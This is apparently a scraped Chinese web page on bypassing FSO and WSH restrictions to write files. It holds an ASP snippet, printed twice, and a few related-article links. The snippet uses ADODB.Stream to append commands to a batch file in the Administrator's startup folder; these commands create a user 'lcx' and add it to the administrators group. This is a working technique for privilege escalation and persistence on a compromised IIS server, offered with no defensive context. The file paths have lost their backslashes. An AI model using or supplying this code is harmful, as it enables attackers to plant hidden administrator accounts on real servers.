<%
on error resume next
dim lcx
set lcx=server.CreateObject("Adodb.Stream")
lcx.Open
lcx.Type=2
lcx.CharSet="gb2312"
lcx.LoadFromFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat"
lcx.Position=lcx.Size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.SaveToFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat",2
lcx.Close
set lcx=nothing
%> <%
on error resume next
dim lcx
set lcx=server.CreateObject("Adodb.Stream")
lcx.Open
lcx.Type=2
lcx.CharSet="gb2312"
lcx.LoadFromFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat"
lcx.Position=lcx.Size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.SaveToFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat",2
lcx.Close
set lcx=nothing
%>
【跨越fso、wsh、 application写文件】相关文章：
★ javascript asp教程第十一课--Application 对象
★ IIS 错误 Server Application Error 详细解决方法
★ UBB编辑器